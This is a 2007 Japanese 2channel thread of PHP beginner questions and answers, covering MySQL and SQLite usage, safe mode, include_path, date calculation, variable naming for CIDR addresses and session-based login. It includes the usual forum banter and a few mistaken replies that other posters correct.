547 :nobodyさん:2007/10/29(月) 16:43:06 ID:ugb+n0gS
内部エンコードはinternal_encodingですが
表示用エンコードは何ですか?
変数名で迷ってます

548 :nobodyさん:2007/10/29(月) 16:51:06 ID:???
not_internal_encoding

549 :nobodyさん:2007/10/29(月) 17:04:51 ID:???
特定ディレクトリの中のファイル全てを削除する方法を教えて下さい。


550 :316:2007/10/29(月) 17:19:32 ID:???
PHPが表示されないのは、以下が原因だったようです。
×<? phpinfo(); ?>
○<?php phpinfo(); ?>
ttp://blog.codezine.jp/editor/2007/05/phpinfo.php
PHPのどこかのバージョンからか、変更になったようです。

551 :nobodyさん:2007/10/29(月) 17:21:27 ID:???
>>549
ここはプログラムを組む人用のスレなので、丸投げなら他へどうぞ

552 :628:2007/10/29(月) 17:42:19 ID:???
php からMYSQLを操作しますが
updateクエリーを実行結果を取得するのって
mysql_fetch_arrayとかmysql_data_seekとかで取得できないんですけど
取得できる関数ってありますか?
updateしてからselectクエリーを実行して結果を取得しないといけないんですか?
教えてください偉い人

553 :552:2007/10/29(月) 17:44:42 ID:???
補足
updateしたレコードを取得したいんです

554 :nobodyさん:2007/10/29(月) 17:46:29 ID:???
>>552
>SELECT, SHOW, DESCRIBE や EXPLAIN 文、その他結果セットを返す文では、 mysql_query() は成功した場合に resource を返します。

555 :nobodyさん:2007/10/29(月) 17:47:27 ID:???
>>553
mysql上で送るクエリーが分かってれば、それを送るだけだよ。

556 :nobodyさん:2007/10/29(月) 17:50:21 ID:???
>>316
そ、それは、ショートタグ可否のデフォルト設定の違い
なだけでは?

557 :552:2007/10/29(月) 17:50:49 ID:???
>>555
レコードをupdateでクエリーを送ってから、selectでクエリーを送って結果を取得するので?
あたま悪くてスマソ

558 :nobodyさん:2007/10/29(月) 17:56:01 ID:0Yij708s
>>557
それでOK

559 :552:2007/10/29(月) 17:56:47 ID:???
なるへそ
面倒だな
ありがとうございます

560 :nobodyさん:2007/10/29(月) 18:07:13 ID:???
>>559
面倒だと思ったところは関数作って使いまわしできるようにするといいよ

561 :nobodyさん:2007/10/29(月) 18:52:59 ID:???
updateで返ってくる値なんて行数だけだろ。何言ってんだか。

562 :nobodyさん:2007/10/29(月) 20:10:23 ID:???
sqlite3で作ったデータベースなんですが、
<?php
$db = sqlite_open('zip.db');
?>
を実行すると
sqlite_open(): file is encrypted or is not a database
と出て実行できません。
どうすれば回避できるでしょうか?

563 :nobodyさん:2007/10/29(月) 20:33:39 ID:???
書かれている通りです

564 :nobodyさん:2007/10/29(月) 21:18:50 ID:???
精子表現について質問させてください。
精子を精製してチンコに返してやりたいのですが、
たまに不純物が混じるので精子のチェックをしたいです。
どのように書いたらいいでしょうか?

565 :nobodyさん:2007/10/29(月) 21:33:30 ID:???
↓ってどう?
ttp://www.hkvstore.com/phpmaker/

566 :nobodyさん:2007/10/29(月) 21:58:04 ID:???
使ったこと無いけど$99の割にはしょぼい気が・・・Cakeでよくね?

567 :nobodyさん:2007/10/29(月) 22:07:03 ID:???
オープンソースのFW使えって話だな

568 :522:2007/10/29(月) 22:32:40 ID:???
>>525
ありがとうございます。

> Model1::select('Model1');

これがちょっといけてないので、Model1::select(); と書ける魔法なんかないでしょうか。

569 :nobodyさん:2007/10/29(月) 22:55:24 ID:???
FWは自分で書くものだよ。ウシシ

570 :nobodyさん:2007/10/29(月) 22:58:17 ID:htv8blfh
>>563
>書かれている通りです
書かれている通りとは?


571 :nobodyさん:2007/10/29(月) 23:24:01 ID:???
>>568
よく出る話題だがbacktrace()からコールしたクラス名得て>>525的にやるくらいしかない

サブクラスでselect()を再定義して、テーブル名を指定してparent::select("table name") のように
すれば表記上は Model1::select() と出来るけど、、、

やはりテーブル名をクラスメンバとして ModelObject に結び付けてるのがおかしいのでは、、、
サブクラスで再定義したいのに、親クラス固有のメンバを参照するような設計になってて矛盾がある

572 :nobodyさん:2007/10/29(月) 23:37:42 ID:???
その辺PHPは練りこまれてないからな。
へたにstaticとか使うとOOとしてはアレ?ということになりがち。

573 :nobodyさん:2007/10/30(火) 00:18:14 ID:+WynKem6
500KB〜1MBぐらいのテキストファイルを100KBぐらいに分割して
表示したいんですが、どうすればよいでしょうか?

574 :nobodyさん:2007/10/30(火) 00:27:23 ID:???
fseek()

575 :nobodyさん:2007/10/30(火) 00:52:13 ID:???
だからオブジェクトにしてsingletonにしてだな

576 :nobodyさん:2007/10/30(火) 01:10:13 ID:???
じーさんそれはさっきも聞いたよ

577 :nobodyさん:2007/10/30(火) 01:11:48 ID:???
夕飯はまだかのー

578 :nobodyさん:2007/10/30(火) 01:38:57 ID:???
おじいちゃん、それはマウスでしょ!

579 :522:2007/10/30(火) 01:40:24 ID:???
>>571
>やはりテーブル名をクラスメンバとして ModelObject に結び付けてるのがおかしいのでは、、、
>サブクラスで再定義したいのに、親クラス固有のメンバを参照するような設計になってて矛盾がある

そうなんですかね。RubyやPythonではこれがふつうの設計方法なんですよ。
Model1::select()を呼び出したときに、ModelObject::select()が実行されるのはPHPでも一緒なんですけど
PythonやRubyではちゃんとModel1のクラス変数(またはクラスインスタンス変数)が参照できるんですよ。
おんなじようにPHPでもできるだろうと思ってたんですが、スマートにはいかなそうなので、なんか違う方法考えます。

580 :nobodyさん:2007/10/30(火) 01:49:18 ID:???
>>579
取得する部分をメンバじゃなくメソッドにしちゃえば?
と適当に言ってみる

581 :nobodyさん:2007/10/30(火) 01:50:20 ID:???
>>579
それは知ってるが、普通の実装じゃないよ
クラスメンバの原義を考えれば当然

582 :nobodyさん:2007/10/30(火) 01:53:06 ID:???
手段と目的がひっくり返りつつあるなw

583 :nobodyさん:2007/10/30(火) 01:57:49 ID:???
そろそろstaticの動作に対する誤解もFAQしていいんじゃないか。staticはあくまでstaticでしかないのだと。

584 :nobodyさん:2007/10/30(火) 02:03:05 ID:???
Modelを自前で書いてるのがイミフだが、RubyやPythonでやれよ
PHPなんか使えなくても不自由ない

585 :nobodyさん:2007/10/30(火) 02:16:02 ID:???
Unicode対応って何がうれしいんですか?

586 :nobodyさん:2007/10/30(火) 02:30:34 ID:???
>>585
むしろしばらくは混乱するんじゃないかなあ

587 :nobodyさん:2007/10/30(火) 02:47:58 ID:???
>>580
PHPのクラスメソッドから他のクラスメソッドを呼び出すには、クラス名を指定する必要があるから、うまく行きません。

>>581
普通の実装じゃないといいきる理由は?
>クラスメンバの原義を考えれば当然
これってJavaでのクラス変数のことをいってるのかもしれないけど、PythonでもRubyでもクラスインスタンス変数というのがあって、これを使うと「クラス変数なんだけどクラスごとに別の値を取れる変数」が使える。
これが使えるなら使った方が自然な設計ができますよ。
Model1::select() はインスタンスメソッドではなくクラスメソッドにすべきだから(だってインスタンスを取ってくるメソッドだからね)、select()が使う変数はクラスに対して設定する必要がある。
だからテーブル名はクラス変数(またはクラスインスタンス変数)で設定したい。
それ以外にいい方法があるなら教えてください。

>>584
他の言語でできてPHPでできないことがあったからって、なんでこんなこというかな。
ここってPHPの質問するところでしょ?PHPでできますかと聞いて、できないと答えた、ただそれだけでいいのになんでこんなひがみが出てくるの?
だれもPHPを非難してないでしょ?質問の意図を説明するために他の言語を例として出したまでなのに、すぐ被害妄想になるやつ大杉。できないならできないって答えて、そうですかで終わりじゃん。

588 :nobodyさん:2007/10/30(火) 02:53:26 ID:???
>>587
いや、自分でstaticって指定してるやん・・・どうしたの自分

589 :nobodyさん:2007/10/30(火) 02:58:50 ID:???
だいたいPHPどうのっていう問題じゃないでしょ
コードが異常
もっと”まとも”なコード書いてください

590 :nobodyさん:2007/10/30(火) 03:03:31 ID:???
>>586
日本語はmbstringが統合されるだけでしょ?
既存スクリプトのリテラルの変更とか必要になるのカナ

591 :nobodyさん:2007/10/30(火) 03:07:20 ID:???
>質問の意図を説明するために他の言語を例として出したまでなのに

これが蛇足ってやつだね

>できないならできないって答えて、そうですかで終わりじゃん。

で、しっかり自己矛盾してるし。当の本人が終わらせる気まるで無し

592 :nobodyさん:2007/10/30(火) 03:14:56 ID:???
>>562
SQLite関数は2までしかサポートしていません。
SQLite3を利用したい場合はPDOクラスを使用してください。

593 :nobodyさん:2007/10/30(火) 03:23:42 ID:vbqY4O/s
スレッド式掲示板を作ってます。
ログの分け方なんですが、1ファイル1スレッドでわけるか、
1ファイル複数スレッドにいれるか悩んでます。
アクセスは1day/1〜1000程度に耐えられればいいと思ってます。
レンサバなどで、1スレッドごとにファイルを読み込むのは処理が重くなりますかね?

594 :nobodyさん:2007/10/30(火) 03:37:10 ID:???
管理上分けたほうがいいと思う
読み出しの負荷が気になるなら2chみたく書き込み時に静的ファイルを生成するのがええじゃろ

595 :nobodyさん:2007/10/30(火) 03:49:48 ID:???
最適化なんざ、やむにやまれなくなってからやるもんだ
お前は朝起きたたびごとに鯖が落ちていたことあるんかいと
それも俺は寝てるのに、ロリ野郎が朝までお祭り投稿やってたような状況にな
最初は理想でいいんだよ
最適化なんて考えるな
重いもヘチマもアクセスだないと成立しないんだよ

596 :nobodyさん:2007/10/30(火) 03:53:59 ID:???
まあ10や20ファイル開いても以外に早いもんだよな
それより初心者だと fopen('log1.dat', 'w'); flock(... とかやってファイル壊したりとか
XSS脆弱性のこしてたりしないように気を使ったほうがいいかも

597 :nobodyさん:2007/10/30(火) 04:06:30 ID:vbqY4O/s
ありがとうございます。セキュリティなどに気をつけて自分の作りやすい方法をとってみます。
あと、大抵のレンサバはセーフモードで動いてますよね。
あれおをローカルでも実現したいのですが、safe_mode = onとするだけでいいのでしょうか?

598 :nobodyさん:2007/10/30(火) 04:11:34 ID:???
>>597
何事も実験orドキュメント読む
それぐらい直ぐ解る事だろ

レンサバと設定あわせたいなら
レンサバでphpinfo実行してそれと同じ内容になるようにする
configreオプション出てると思うので同じ内容でインストールする
あとはてきとーに設定をあわせる

599 :nobodyさん:2007/10/30(火) 04:31:22 ID:???
スクリプト言語でファイル操作すると、ファイルが壊れることがあるけど、
データベースでデータ操作しても、ファイルが壊れることはないよな。

それは、どうしてなのかと考えてみたが、
データーベースの場合は、OSの何か特殊なファイル(絶対に壊れないファイル)を
使っているから壊れないのでは、と思う。

しかし、スクリプト言語の場合はOSレベルまでの操作ができないから、
その絶対に壊れないファイルを操作することができず、
結果、スクリプト言語はファイルが壊れるんだろうな。

スクリプト言語ではなく、C言語やアセンブラ言語であれば、
このような操作が出来るはずだが、そうなると、もはやスクリプト言語の
存在意義は、開発の効率性の一点だけに求められるような気がする。

つまるところ、効率性が求められる現代において、スクリプト言語が重用される
理由がここにあることになる。

600 :nobodyさん:2007/10/30(火) 04:44:29 ID:???
>>587
クラスメソッドはメモリの節約になるかもしれないが
実行速度は遅いのでインスタンスメソッドの方が
使用頻度によっては良いよ

つーかDBからテーブル情報とかを取ってくる所のクラスなら
別にインスタンスにしてもシングルトンにしときゃーメモリ節約できるんだし
態々ややこい事しなくてもと思ってしまう

>>599
DBはある程度メモリにプールしてたまに書き込みだから
スクリプトとかでがつがつ書き換えるよりかは
書き換え頻度が低いってのもあるんじゃないかな
ここら辺の構造はうろ覚えなので間違ってたらスマン

601 :nobodyさん:2007/10/30(火) 05:06:15 ID:???
ファイルベースでファイルが壊れるなんて、
アクセスカウンタぐらになもんだろw


602 :nobodyさん:2007/10/30(火) 05:11:34 ID:???
お前らあんま恥ずかしい話するなよ

603 :nobodyさん:2007/10/30(火) 06:45:32 ID:???
すいません、マニュアルみてセーフモードの設定をしたのですが、

>セーフモードはオープンしようとするファイルの UIDの比較チェックを行います。

↑これはfopenで新規作成ができないってことですか?

604 :nobodyさん:2007/10/30(火) 06:54:03 ID:???
>>603
ファイルがユーザのものかチェックするって事です。
セーフモードでもfopenで新規作成できますよ。

605 :nobodyさん:2007/10/30(火) 06:59:46 ID:vbqY4O/s
ありがとうございます。ためしてみましたらfopenはできました。
readfileができなくなるのですね。ありがとうございました。

606 :nobodyさん:2007/10/30(火) 07:01:24 ID:???
モジュールとライブラリの意味教えてくれよ

607 :nobodyさん:2007/10/30(火) 08:17:40 ID:???
>>599
妄想どんだけ〜

608 :nobodyさん:2007/10/30(火) 08:28:54 ID:vbqY4O/s
すいません、ログファイルを一箇所のディレクトリにためる場合、
サーバに負担がかかりますか?
ひとつのディレクトリに300〜2000ファイルとか作成しても耐えられますかね?
あと、レンサバはふつうファイル数の制限ってしてますか?

609 :nobodyさん:2007/10/30(火) 08:35:42 ID:???
>>608
最大で2000ファイルくらいなら全然平気。
平均が2000で最大は万を超えるとか言ったら「分けれ」って言いたくなるけど。

610 :nobodyさん:2007/10/30(火) 08:41:05 ID:???
>>608
余程アホなスクリプト書かん限り2000程度のファイルで負荷なんてかからん。
ファイル数の制限についてはレン鯖によって違うからなんとも言えん。

611 :nobodyさん:2007/10/30(火) 08:45:30 ID:???
そろそろPHPの質問も↓

612 :nobodyさん:2007/10/30(火) 10:41:26 ID:???
>>606
PEARがライブラリでPeclがモジュール(うそ)

613 :nobodyさん:2007/10/30(火) 10:57:31 ID:vbqY4O/s
ありがとうございました。気にしないでディレクトリにファイルを作成することにしました。

614 :nobodyさん:2007/10/30(火) 13:12:11 ID:???
クラスやパターン設計に覚えた頃にはまる罠
これらはあれば便利で使うものなのに、さもその通りに行かないといけないと気がすまなくなってくる
それが実行速度的に悪影響を及ぼし、余計な回り道となっていることに気が付かずにw

そして原点回帰で動けばいいことに気が付いた時、今までの経験を元に綺麗なコードが書ける
プログラムなんてそんなもの

rubyの深さを知って生産性は飾りだと気づいたw

615 :nobodyさん:2007/10/30(火) 13:16:35 ID:???
FW使えっていうやつは何使ってるの?

616 :nobodyさん:2007/10/30(火) 13:45:18 ID:???
Rubyが良いのは認めるけど何も別言語のスレにまで出張して布教活動しないで欲しいww

617 :nobodyさん:2007/10/30(火) 14:32:42 ID:???
FireWall?

618 :nobodyさん:2007/10/30(火) 14:44:11 ID:???
>>616
>Rubyが良いのは認めるけど
布教活動しているのは、お前だ!!市ね

619 :nobodyさん:2007/10/30(火) 14:44:13 ID:???
>>607
どこが妄想か教えてくれ

620 :nobodyさん:2007/10/30(火) 14:49:29 ID:???
>>617
マジレスすると
ふれーむわーく。DWがでてくるからFWといったらアレかと思ってた

621 :nobodyさん:2007/10/30(火) 15:01:59 ID:vbqY4O/s
$_SERVER['PATH_INFO']が使えないサーバがあることをはじめて知りました。
そこで代替策として、$_SERVER['REQUEST_URI']でバラして使おうかと思っているのですが、
$_SERVER['REQUEST_URI']も使えないことってありますか?

622 :nobodyさん:2007/10/30(火) 15:14:36 ID:???
ストリームをdup()したい!

623 :619:2007/10/30(火) 15:31:01 ID:???
619は無かった事に(´・ω・`)


624 :nobodyさん:2007/10/30(火) 15:55:46 ID:???
>>621
あるかと聞かれればある
こことか独自のHTTPD使ってる
http://monaneko.jog.buttobi.net/info.php


625 :nobodyさん:2007/10/30(火) 15:56:21 ID:???
>>621
大半のサーバーで返してくれるけど絶対ではない。

626 :nobodyさん:2007/10/30(火) 16:04:26 ID:vbqY4O/s
ありがとうございます。いろんなサーバで動くようにしたいのでもう少し代替策を練ってみます。

627 :nobodyさん:2007/10/30(火) 16:16:46 ID:Rzoy8xmc
php6でnamespaceが実装されるみたいだけど、
これをうまく使って、$this->barの$this->を書かなくするようにできそうだな。
メンバ変数を動的にnamespace内のグローバル変数にしてゴニョゴニョーって。できないかな。

628 :nobodyさん:2007/10/30(火) 16:28:02 ID:???
それは無理かと思うが、確かに$thisは何とかしてほしいよな。

629 :nobodyさん:2007/10/30(火) 16:29:52 ID:???
$thisの強制は間違いがなくていいと思っているが

630 :nobodyさん:2007/10/30(火) 16:34:08 ID:???
明示的な型宣言がないと間違いが起こりやすいだのあると面倒だのって話みたいだ

631 :nobodyさん:2007/10/30(火) 16:47:47 ID:???
PHPしすぎたせいでC#やろうと思ってもサッパリわかんねwww
PHPがいかに簡単すぎるかがわかったよ

632 :nobodyさん:2007/10/30(火) 17:05:20 ID:???
>>627
$thisが面倒って話は分かるが、グローバルに扱えるようにするってのは
global宣言と同じ程度にバグの元になるような気がするよ。
あんまり好ましい方策ではないんじゃなかろうか。いくらPHPでもさ。

633 :nobodyさん:2007/10/30(火) 17:18:08 ID:???
RailsのDHHがPHPからRubyに変更した理由が、$thisがめんどかったってどっかで読んだな。

634 :nobodyさん:2007/10/30(火) 17:30:12 ID:???
2ちゃんの掲示板スクリプトを11時間かけて似せて作ったんだけど効率わるい?
500行ぐらい。

635 :nobodyさん:2007/10/30(火) 17:42:54 ID:UpkPLboM
リクエストの文字コード→内部コードの変換ってどうやってますか?
設定による自動変換は推奨されていないし、
決めうちも必ずしも正確とはいえない。
スクリプト内の判定も、文字数や文字列によって誤判定がありそう。
正確にやろうと思ったら「毎回文字コード判定用のダミーパラメータを付加」
くらいしかないような気がしますが、
そんなことをしているという話も寡聞にして知りません
いったいどうするのがベストなんでしょう??

636 :nobodyさん:2007/10/30(火) 17:50:37 ID:???
ベストは知らないけどmb_convert_encoding使ってて困ったことはないかな

637 :nobodyさん:2007/10/30(火) 19:14:36 ID:???
コンバートはmb_convert_encodingでFAだと思います(それ以外知らないし)
エンコード判定→変換の流れが、どうするのがいいのか分からないんですよねー
試しに文章を一文字区切りにして、一文字ずつ判定ルーチンにかけてみましたが
やはり誤判定する文字がありますね

638 :nobodyさん:2007/10/30(火) 19:15:06 ID:???
mb_detect_encoding?

639 :nobodyさん:2007/10/30(火) 20:49:56 ID:???
>>620
DWはWebオーサリングツールであってフレームワークじゃない。
フレームワークっていうのは簡単にいうと、
MVCモデルを実現するための仕組みのようなもの。
必要なデータベースを作り、簡素なModel View Controllerを記述することにより、
あとはフレームワークが複雑な処理をやってくれる。
たとえばCakePHPのチュートリアルにあるとおり、
数行のコードでBlogが作れるようになっているわけだ。
当然FWで作ったアプリケーションはFW上でしか動作しないので、
サーバにインストールする必要があるが、
実体はPHPなので、PHPが使えるサーバならPHPのFWは使えるということになる。

640 :nobodyさん:2007/10/30(火) 20:58:53 ID:???
>>637
jcode.php


641 :nobodyさん:2007/10/30(火) 21:01:57 ID:7j0uTXdo
変数名を付けたいのですが専門用語がわかりません。

$ipaddr = '192.168.0.1';
$subnet = '24';
$??? = '192.168.0.1/24';

$???は何にしたらいいでしょうか?
別になんでもいいのですが他人が見るのでちゃんとした名前にしたいです。

642 :nobodyさん:2007/10/30(火) 21:04:32 ID:???
>>641
ipaddr_cidrじゃね

643 :nobodyさん:2007/10/30(火) 21:07:09 ID:???
>>642
IPアドレスサイダーって聞いたことないけど、正式な名称ってなんだろ?

644 :nobodyさん:2007/10/30(火) 21:12:26 ID:???
その記法のことをCIDRって言うんだよ

645 :nobodyさん:2007/10/30(火) 21:14:03 ID:???
>639

>620 が言ってるのは FireWorks だと思うんだが…
(もっとも >620 の言う「DW が でてくるから」というのは どこだかわからんが)

646 :nobodyさん:2007/10/30(火) 21:16:44 ID:???
>>641
$networkじゃね?

647 :nobodyさん:2007/10/30(火) 21:21:29 ID:???
>>646
範囲広っ

648 :nobodyさん:2007/10/30(火) 21:26:16 ID:???
>>647
じゃあ
$local_network

649 :nobodyさん:2007/10/30(火) 21:26:45 ID:???
フレームワーク=MVCだと思ってるやつは勉強不足

650 :nobodyさん:2007/10/30(火) 21:29:26 ID:???
cidr表記のipアドレスなんだから
ipaddr_cidrでいいだろ
何が不満なんだ

651 :nobodyさん:2007/10/30(火) 21:32:36 ID:???
$aipi-adoresu

652 :nobodyさん:2007/10/30(火) 21:38:22 ID:???
ipaddrつけなくてcidrで良いんじゃ


653 :nobodyさん:2007/10/30(火) 21:49:27 ID:???
だからcidrは表記法だって。

654 :nobodyさん:2007/10/30(火) 21:57:09 ID:???
結局何に使ってるかよるわけじゃん
ホストアドレスを問題にしてるなら>>648も捨てたもんじゃない

655 :nobodyさん:2007/10/30(火) 22:03:53 ID:???
どーせローカル変数だろうから$wkでいいんじゃね?

656 :nobodyさん:2007/10/30(火) 22:15:39 ID:???
正確にはlocal_networkだがnetworkで問題ない
だってネットワークだシナ

657 :nobodyさん:2007/10/30(火) 22:17:44 ID:???
まあいいや、あとはこっちで

クラス名・変数名に迷ったら書き込むスレ。Part11
http://pc11.2ch.net/test/read.cgi/tech/1191250784/

658 :nobodyさん:2007/10/30(火) 22:18:49 ID:???
変数名とかまよったらこっちへ・・・
http://pc11.2ch.net/test/read.cgi/tech/1191250784/l50


659 :nobodyさん:2007/10/30(火) 22:19:12 ID:???
>>658
m9

660 :nobodyさん:2007/10/30(火) 22:19:26 ID:???
(´・ω・`)

661 :nobodyさん:2007/10/30(火) 22:29:31 ID:???
>>645
なるほどFireWorksか。気づかなかった。

>>649
開発性・生産性・拡張性に優れているものを作ろうとすると自然とMVCになるわけで、
=ではないが実際FWのほとんどがそういったものであるのは事実。
よく説明にある、フレームワーク=土台といっても、全く知らない人間には意味不明だから、
わかりやすく説明するために簡素化しすぎたのは悪かったけどな。

662 :nobodyさん:2007/10/30(火) 22:31:32 ID:???
192.168.0.1 -> internet address or inet
24 -> netmask (0xffff00 のことでしょ)
192.168.0.1/24 -> network address or cidr address

663 :641:2007/10/30(火) 22:44:56 ID:???
192.168.0.1 -> IPA
24 -> SNM
192.168.0.1/24 -> NWA

ども!これに決めました。
文句があると思うけどSKN!!

664 :nobodyさん:2007/10/30(火) 22:46:15 ID:???
192.168.0.1/24
こんなの存在しないだろ
192.168.0.0/24ならわかるが

665 :nobodyさん:2007/10/30(火) 23:02:40 ID:???
>>664
どうせマスクしたらいっしょだろうが

666 :nobodyさん:2007/10/30(火) 23:43:22 ID:???
>>664
それは、いわゆるブロードキャストアドレスってやつで、
そのアドレスに向けて打つと、そのネットワークに繋がっている
全てのルーターに到達する。スレチだから、詳しくはネットワーク関係の板でも聞け。

667 :nobodyさん:2007/10/30(火) 23:45:02 ID:???
>>664
TCP/IP勉強white!!

668 :nobodyさん:2007/10/30(火) 23:45:08 ID:???
0はブロードキャストアドレスとは少し違うよ

669 :nobodyさん:2007/10/30(火) 23:47:31 ID:???
少し?全然別物だろ

670 :nobodyさん:2007/10/30(火) 23:54:32 ID:???
お前らも実習でつながらないLanケーブル作ったよな

671 :nobodyさん:2007/10/31(水) 00:06:37 ID:???
>>670
なんかリンクアップしないと思ったらお前のせいか。

672 :nobodyさん:2007/10/31(水) 00:06:54 ID:???
ブロードキャストアドレス、ぐぐったら全然違うしw
ウソつきばっかだな

673 :nobodyさん:2007/10/31(水) 00:23:01 ID:???
>>666
久々に凄いデタラメを見た

674 :nobodyさん:2007/10/31(水) 00:25:07 ID:???
>>670
あるあるw
しらんぷりで放置されたのが溜まってる

675 :nobodyさん:2007/10/31(水) 00:38:45 ID:???
お前らなんの話してるの?
難しくてわからない

676 :nobodyさん:2007/10/31(水) 00:54:02 ID:???
>>675
ブロードウェイに出ているキャストのアドレスはどこかを熱く語っているんだよ。

677 :nobodyさん:2007/10/31(水) 00:57:17 ID:???
さすがに192.168.0.1/24のbroadcastと言ったら192.168.0.255なんでネタですよね。
そもそも192.168.0.1/24はCIDRアドレスの簡易表記法=アドレス/プレフィックス長なわけで。
(プレフィックス長=ネットワーク部のビット数)
プレフィックス長を省略して192.168.0.1と表記した場合はホストアドレスとしての解釈。

678 :nobodyさん:2007/10/31(水) 01:00:34 ID:???
どうこう言うより自分とこのルーティングテーブル見るのが手っ取り早い

679 :nobodyさん:2007/10/31(水) 04:54:27 ID:???
会員システムを作っているのですが、
ログイン済みかどうかの判断は

1. ID/PASSWORDをセッションで持ち歩いて移動毎にチェック
2. 一度認証クリアしたらIDのみセッションに入れて、移動毎にIDセッション持ってるか確認
どっちが良いでしょうか?

1の方が安全な気がうっすらとはしますが。

680 :nobodyさん:2007/10/31(水) 04:56:58 ID:???
パスワードをセッション変数に入れる必要がどこにあるのか、逆に聞いてみたい。

681 :nobodyさん:2007/10/31(水) 05:46:51 ID:???
>>679
IDとPWもどちらもいれるなバカ

682 :nobodyさん:2007/10/31(水) 06:47:01 ID:jWccZHnt
配布スクリプトにコードに「echo "はじめまして";」というのを書いてます。
これはユーザーが書き換えることを想定して、htmlspecialcharsをかませるべきでしょうか?

683 :nobodyさん:2007/10/31(水) 06:48:37 ID:???
書き換えなくても通せ

684 :nobodyさん:2007/10/31(水) 06:54:27 ID:???
>>679
ログインフラグたてりゃいいじゃない

685 :nobodyさん:2007/10/31(水) 07:03:30 ID:???
>>635
俺は決めうち
表示エンコードで返ってくるものとしてそもそも変換していない
ダミーパラメーターは聞いたことはあるからそんなに珍しくはないだろう

686 :nobodyさん:2007/10/31(水) 07:27:03 ID:???
>>683
自称回答者おつかれ

687 :nobodyさん:2007/10/31(水) 10:10:47 ID:F/XuAcDL
//すでに格納済みのほかのファイル更新日
$xxx_date

$page[] = '../aaa/';
$page[] = '../bbb/';
それぞれのディレクトリーにはページファイルが入ってます。それを
foreach($page as $key =>$value){

$pdata = explode("." , $value);
$lastupdate = @date("Y-m-d\TH:i:s\+09:00", @filemtime("..".$pdata[2].".php"));

echo $lastupdate;
}
としてファイルの更新時間などを取得してるのですが、$lastupdateで取得したそれぞれの更新日と
$xxx_dateを比較して最新のものを返すにはこの後どうすればいいんでしょうか。

688 :nobodyさん:2007/10/31(水) 10:21:50 ID:F/XuAcDL
>>687
なにか違うものを貼り付けてました

foreach($dirurl as $key =>$value){
$dirurl = $value;

$dir = @opendir($dirurl);

while($file = readdir($dir)) {

if (!is_dir($file)){

$pdata = explode("." , $dirurl.$file);
$lastupdate = @date("Y-m-d\TH:i:s\+09:00",@filemtime("../".$pdata[2].".php"));

echo $lastupdate;
}
}
closedir($dir);
}
です(;´д⊂)

689 :nobodyさん:2007/10/31(水) 12:26:20 ID:wHbETa3h
非常にくだらいないミスだと思うんだけど
$Nextmonth = date("Y年m月",mktime(0, 0, 0, date("m")+1, date("d"), date("Y")));
echo $Nextmonth;

これで何故か2007/12になる…。
期待した表示は11月なんですが、おかしい所指摘してくださいまし。
もっと簡易な書き方があったらそれも欲しいです
(´・ω・`)

690 :nobodyさん:2007/10/31(水) 12:36:09 ID:???
>>689
考えずにレスすると、+1しないでEchoするとどうなる?

691 :nobodyさん:2007/10/31(水) 12:36:30 ID:???
>>689
今日が10月31日で、月+1にすると11月31日で
11月は30日までしかないから12月1日扱いになる。
日まで指定する必要なし。

692 :nobodyさん:2007/10/31(水) 12:37:08 ID:???
>>689
そら+1してんだから明日でしょ。
今日11/31だよ。

693 :nobodyさん:2007/10/31(水) 12:38:50 ID:???
>>692
未来人乙

694 :nobodyさん:2007/10/31(水) 12:40:02 ID:???
なんでこんな低レベルな質問に間違い回答続出なんだw

695 :nobodyさん:2007/10/31(水) 12:49:05 ID:???
>>693
あれ?

696 :nobodyさん:2007/10/31(水) 12:50:04 ID:???
phpで稼げる日払いのお仕事ありませんか〜?;;

697 :nobodyさん:2007/10/31(水) 12:50:18 ID:wHbETa3h
>>690>>694
d、ほんと下らない事ですません
おめいらにはホントに頭が下がるよ

698 :nobodyさん:2007/10/31(水) 13:43:41 ID:???
>>696
週払いなら

699 :nobodyさん:2007/10/31(水) 13:45:38 ID:G97Omn6y
すんません、PHPでEXCELファイルを扱いたいんですけど、いいライブラリありますか?
現在はEXCEL_REVISEを使わせてもらってるんですけど、数式の追加が出来ないんですよね。
環境はCentOS5.0+PHP5.1.6です。

700 :nobodyさん:2007/10/31(水) 13:52:17 ID:???
>>699さんはふだんはlinuxでメールチェックとか2ちゃんみてますか?

701 :nobodyさん:2007/10/31(水) 14:14:57 ID:???
>>700
見てないですね。

702 :nobodyさん:2007/10/31(水) 14:37:29 ID:Xq7d8XJi
[Dir]┬ index.php
   .├ hogehoge.php
   .├ example.php
   .└ . htaccess

ディレクトリの中の各PHPに同じファイルをインクルードさせたいのですが、
全てのPHPファイルに「require_once("/path/include.php");」
を書くと、読み込むファイルのパスが変わった場合など変更するのが大変です。

. htaccessで全ての*.phpに同じ一行を記述するようなことはできませんか?
(記述というか、同じ動作を与えることです。)

703 :nobodyさん:2007/10/31(水) 14:52:34 ID:???
出来るがその方針が気に入らない

704 :nobodyさん:2007/10/31(水) 14:55:16 ID:???
>>702
むしろphp.iniのinclude_pathは、その様な目的の為に利用できるんじゃないかと思うが?

705 :nobodyさん:2007/10/31(水) 14:56:56 ID:Xq7d8XJi
>>704
なるほど!
include_pathも考えてみたのですが、これって複数のパスを指定できるのですね
その方法で試してみます、ありがとうございました。

706 :nobodyさん:2007/10/31(水) 14:58:34 ID:???
まずマニュアルを読もうぜ…
たしかインストールマニュアルのPEARのインクルードが云々って所に書いてあったはず

707 :687:2007/10/31(水) 15:01:41 ID:F/XuAcDL
だれか居ませんか
>>687 分かる人。

708 :nobodyさん:2007/10/31(水) 15:04:30 ID:???
>>707
記号を全部抜いて数字の羅列にして比較したら

709 :nobodyさん:2007/10/31(水) 15:06:52 ID:Xq7d8XJi
include_pathって読み込んで、そのままスクリプトを実行してくれるのでしょうか?

htaccess
php_value include_path ".;C:\xampp\htdocs\Project\test\inc\conf.php"

inc/conf.php
<?
$x = 10;
echo "aa";
?>

index.php
<?
echo $x;
?>

index.phpを実行すると白紙になります。
conf.phpを読み込んでくれていないということですよね。
require_once()では同じパスで正常に読み込んでくれました。
phpinfo()で見てみるとinclude_pathもしっかり書き換わっていました。

710 :nobodyさん:2007/10/31(水) 15:21:24 ID:???
xxx_dateの構造が分からんの比較できるわけないだろ!
喧嘩うってんのかてめえ!

711 :nobodyさん:2007/10/31(水) 15:22:49 ID:???
>>709
検索パスを書き換えるだけだよ

712 :nobodyさん:2007/10/31(水) 15:25:02 ID:Xq7d8XJi
>>711
なるほど!
つまり、require_once()は直書きしないといけないのですね。
ありがとうございます。

713 :nobodyさん:2007/10/31(水) 15:30:37 ID:???
htaccess
php_value include_path ".;C:\xampp\htdocs\Project\test\inc"

index.php
<?
require "conf.php"; # パスから探して読み込み
echo $x;
?>

